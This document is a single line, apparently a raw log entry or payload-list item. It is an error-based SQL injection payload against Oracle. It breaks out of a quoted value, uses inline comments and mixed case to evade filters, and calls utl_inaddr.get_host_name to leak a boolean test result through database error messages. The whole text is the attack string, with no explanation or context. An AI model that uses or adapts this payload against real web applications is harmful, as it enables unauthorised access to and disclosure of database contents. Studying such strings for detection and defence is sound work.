1′ AND AND/**/2573=utl_iNadDR.Get_hOSt_NAMe((SElect/**/chr(126)||~||(sElecT/**/(cASE/**/when/**/(2573=2573)/**/THeN/**/1/**/ELsE/**/0/**/ENd)/**/frOm/**/dUAL)||~||Chr(126)/**/fRoM/**/DuaL))– – 1